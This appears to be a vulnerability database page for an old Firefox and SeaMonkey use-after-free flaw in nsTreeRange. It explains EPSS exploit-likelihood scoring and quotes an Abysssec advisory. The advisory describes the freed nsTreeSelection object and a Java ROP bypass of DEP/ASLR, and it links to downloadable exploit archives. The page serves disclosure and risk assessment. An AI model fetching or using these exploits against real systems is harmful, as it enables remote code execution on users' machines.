CVE Descriptions

Mozilla Firefox before 3.5.19 and 3.6.x before 3.6.17, and SeaMonkey before 2.0.14, does not properly use nsTreeRange data structures, which allows remote attackers to execute arbitrary code via unspecified vectors that lead to a "dangling pointer."

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Advisory : Abysssec Public Exploit : This module exploits a code execution vulnerability in Mozilla Firefox <= 3.6.16 caused by nsTreeSelection element. The specific flaw exists within the way Firefox handles user defined functions of a nsTreeSelection element. When executing the function invalidateSelection it is possible to free the nsTreeSelection object that the function operates on. Any further operations on the freed object can result in remote code execution.this exploit module is only tested on win7 and used a Another JAVA ROPto defeat DEP/ASLR (due to there is no more non-aslr module in Firefox) and in my tests works reliably on Windows7. there is two version of this exploit XP and 7 and both use different method that used in MSF Exploit bounty ! XP Version: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17419-1.zip (nsTreeRange_XP.zip) Win7 Version: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17419-2.zip (nsTreeRange_7.zip) questions / comments : Info [at] abysssec.com
